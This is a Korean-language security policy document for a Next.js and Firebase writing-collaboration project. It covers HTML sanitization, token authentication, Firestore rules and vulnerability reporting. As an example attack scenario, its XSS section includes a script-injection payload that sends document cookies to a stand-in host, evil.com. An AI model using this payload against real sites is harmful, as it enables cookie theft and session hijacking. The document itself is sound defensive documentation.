2026-03-20 02:21:57 +00:00

9.1 KiB

Security Policy

라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.


🔒 보안 조치 요약

보안 영역 조치 상태 적용일
XSS 방지 HTML Sanitization 적용 완료 2025-11-19
인증 Firebase Auth 적용 완료 2025-10-xx
API 인증 JWT Token (ID Token) 적용 완료 2025-10-xx
SQL Injection Firestore (NoSQL) 원천 방지 -
CSRF SameSite Cookies 🚧 검토 필요 -
Rate Limiting API 요청 제한 예정 -

1. XSS (Cross-Site Scripting) 방지

문제점

  • 사용자가 작성한 글 (writings 컬렉션)의 content 필드는 HTML 문자열로 저장됩니다.
  • Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 API를 직접 호출하여 악성 스크립트를 주입할 수 있습니다.

공격 시나리오:

// 악의적인 API 호출
POST /api/writing
{
  "title": "정상 제목",
  "content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}

해결책: HTML Sanitization

백엔드 자동 세탁 (src/lib/server/writing.ts):

import { sanitizeHtml } from "@/utils/sanitizeHtml";

// 글 생성 시 자동 세탁 (Line 46-47)
const sanitizedTitle = sanitizeHtml(data.title);
const sanitizedContent = sanitizeHtml(data.content);

// 글 수정 시 자동 세탁 (Line 199-203)
if (data.title) {
  updateData.title = sanitizeHtml(data.title);
}
if (data.content) {
  updateData.content = sanitizeHtml(data.content);
}

세탁 규칙 (src/utils/sanitizeHtml.ts):

  • 허용된 태그: <p>, <strong>, <em>, <h1-6>, <ul>, <ol>, <li>, <a>, <img>, <blockquote>, <code>, 등 (Tiptap 기본)
  • 차단된 태그: <script>, <iframe>, <object>, <embed>, <style>, <link>, <meta>, 등
  • 차단된 속성: onerror, onclick, onmouseover, 모든 on* 이벤트 핸들러
  • 차단된 프로토콜: javascript:, 위험한 data: URI

라이브러리: sanitize-html (서버 사이드 전용, Next.js와 호환성 우수)

테스트 커버리지: 26개 유닛 테스트 (src/utils/__tests__/sanitizeHtml.test.ts)

  • 안전한 HTML 보존 테스트 (7개)
  • XSS 공격 벡터 차단 테스트 (10개)
  • Edge case 처리 (4개)
  • 실제 Tiptap HTML 호환성 (2개)
  • 배치 처리 및 객체 세탁 (3개)

성능 영향:

  • DOMPurify는 빠른 성능 (평균 1-2ms per document)
  • 글 저장 시 한 번만 실행 (조회 시 불필요)

2. 인증 (Authentication)

Firebase Authentication

  • 제공자: Email/Password, Google OAuth
  • 정식 계정: Google 계정 연동, 이메일/비밀번호

API 인증

모든 API 요청은 Firebase ID Token 검증:

// src/lib/auth.ts
export async function requireAuth(authHeader: string | null) {
  if (!authHeader?.startsWith("Bearer ")) {
    throw new Error("인증 토큰이 없습니다.");
  }

  const idToken = authHeader.substring(7);
  const decodedToken = await adminAuth.verifyIdToken(idToken);
  return decodedToken;
}

적용 위치: 모든 POST, PUT, DELETE API 엔드포인트


3. 권한 관리 (Authorization)

글 소유권 검증

  • 사용자는 본인의 글만 조회/수정/삭제 가능
  • 백엔드에서 userId 검증:
// src/lib/server/writing.ts
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
  const writing = await getWriting(writingId);
  return writing !== null && writing.userId === userId;
}

팀 권한

  • 소유자(Owner): 팀 설정 변경, 멤버 관리, 삭제
  • 멤버: 팀 조회, 주제 작성, 탈퇴

4. SQL Injection 방지

Firestore 사용으로 원천 차단:

  • NoSQL 데이터베이스 사용
  • 쿼리는 타입 안전한 SDK로만 실행
  • Raw SQL 쿼리 불가능

5. 데이터 보호

민감 정보 처리

  • 이메일: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
  • 비밀번호: Firebase Auth가 암호화 관리
  • API 키: 환경 변수로 관리 (.env 파일, .gitignore 적용)

Firestore 보안 규칙

// firestore.rules (예정)
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // 사용자는 본인 문서만 읽기/쓰기
    match /users/{userId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
    }

    // 글은 소유자만 수정/삭제
    match /writings/{writingId} {
      allow read: if request.auth != null;
      allow create: if request.auth != null;
      allow update, delete: if request.auth.uid == resource.data.userId;
    }

    // 댓글: 누구나 읽기 가능, 작성자만 수정, 작성자/글소유자/팀소유자 삭제
    match /comments/{commentId} {
      allow read: if request.auth != null;
      allow create: if request.auth != null;
      allow update: if request.auth.uid == resource.data.userId;
      allow delete: if request.auth.uid == resource.data.userId || 
                   (resource.data.writingUserId == request.auth.uid) ||
                   (resource.data.teamOwnerId == request.auth.uid); 
    }
  }
}

6. HTTPS 강제

Production 환경:

  • Vercel 배포 시 자동 HTTPS 적용
  • HTTP → HTTPS 자동 리다이렉트
  • HSTS 헤더 설정

7. 환경 변수 보호

민감 정보 관리:

# .env.local (로컬 개발)
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
FIREBASE_SERVICE_ACCOUNT_KEY=xxx  # 서버 전용

보안 체크리스트:

  • .env 파일은 .gitignore에 포함
  • NEXT_PUBLIC_*은 클라이언트 노출 가능 (Firebase API Key)
  • 서버 전용 변수는 NEXT_PUBLIC_ 접두어 없이 사용
  • Production 환경 변수는 Vercel에서 관리

8. Rate Limiting (예정)

계획 중인 조치:

  • API 엔드포인트별 요청 제한 (예: 1분당 60회)
  • DDoS 방지
  • Vercel Edge Functions + Upstash Redis 고려

9. 보안 취약점 발견 시

보고 절차

  1. 즉시 보고: GitHub Issues에 비공개 이슈 생성 (Security Advisories 사용)
  2. 제목 형식: [SECURITY] 취약점 요약
  3. 포함 정보:
    • 취약점 설명
    • 재현 방법 (PoC)
    • 영향 범위
    • 제안 해결책

보안 업데이트 절차

  1. 취약점 확인 및 우선순위 설정
  2. 패치 개발 및 테스트
  3. 긴급 배포 (Critical 취약점)
  4. 공개 공지 (패치 후)

10. 보안 체크리스트 (개발자용)

새 기능 개발 시 확인 사항:

  • 사용자 입력 검증 (클라이언트 + 서버)
  • HTML/SQL Injection 방지
  • 인증/권한 확인
  • 민감 정보 로깅 금지
  • HTTPS 사용
  • 환경 변수 적절히 관리
  • 에러 메시지에 민감 정보 노출 금지
  • 보안 테스트 작성

의존성 관리:

# 정기적으로 취약점 검사
npm audit
npm audit fix

# 의존성 업데이트
npm update

11. 참고 자료


13. 초대 링크 기반 팀 참가 시스템

라온누리는 Discord 스타일의 초대 링크 시스템으로 팀 참가를 관리합니다. 모든 사용자는 정식 계정(로그인)이 필수입니다.

핵심 원칙

  • 모든 사용자: 정식 계정 로그인 필수 (Google/이메일)
  • 팀 참가: 초대 링크를 통해서만 가능
  • 닫힌 팀: 초대 링크를 생성하지 않으면 자연스럽게 닫힌 팀
  • 접근 제한: 특정 사용자에게만 초대 링크를 공유하여 제한

초대 링크 워크플로우

  1. 팀 소유자가 초대 링크 생성 (만료 시간, 최대 사용 횟수 설정 가능)
  2. 초대 링크를 대상 사용자에게 공유
  3. 사용자가 링크를 클릭하여 로그인 후 팀에 참가

참조: DATA_MODELS.md, API_SPEC.md


14. 데이터 모델 보안

User 타입 최소화

  • FirestoreUser (DB): uid, createdAt, lastLoginAt, settings만 저장
  • User (UI): Firebase Auth + Firestore 자동 결합
  • 이름, 이메일, 사진은 Firebase Auth가 Single Source of Truth
  • 보안 이점: 민감 정보 중복 저장 방지, 데이터 일관성 보장

닉네임 저장 위치

  • users.nicknames[teamId] (기존) - 중복 저장
  • team.members[uid].nickname (신규) - 단일 진실 공급원
  • 보안 이점: 팀 탈퇴 시 자동 삭제, 권한 관리 용이

memberUids 제거

  • team.memberUids 배열 (중복, 동기화 이슈)
  • Object.keys(team.members) 사용
  • 멤버 확인: uid in team.members
  • 보안 이점: 데이터 불일치 방지, atomic 업데이트

© 2024 BlueNovaLab. All rights reserved.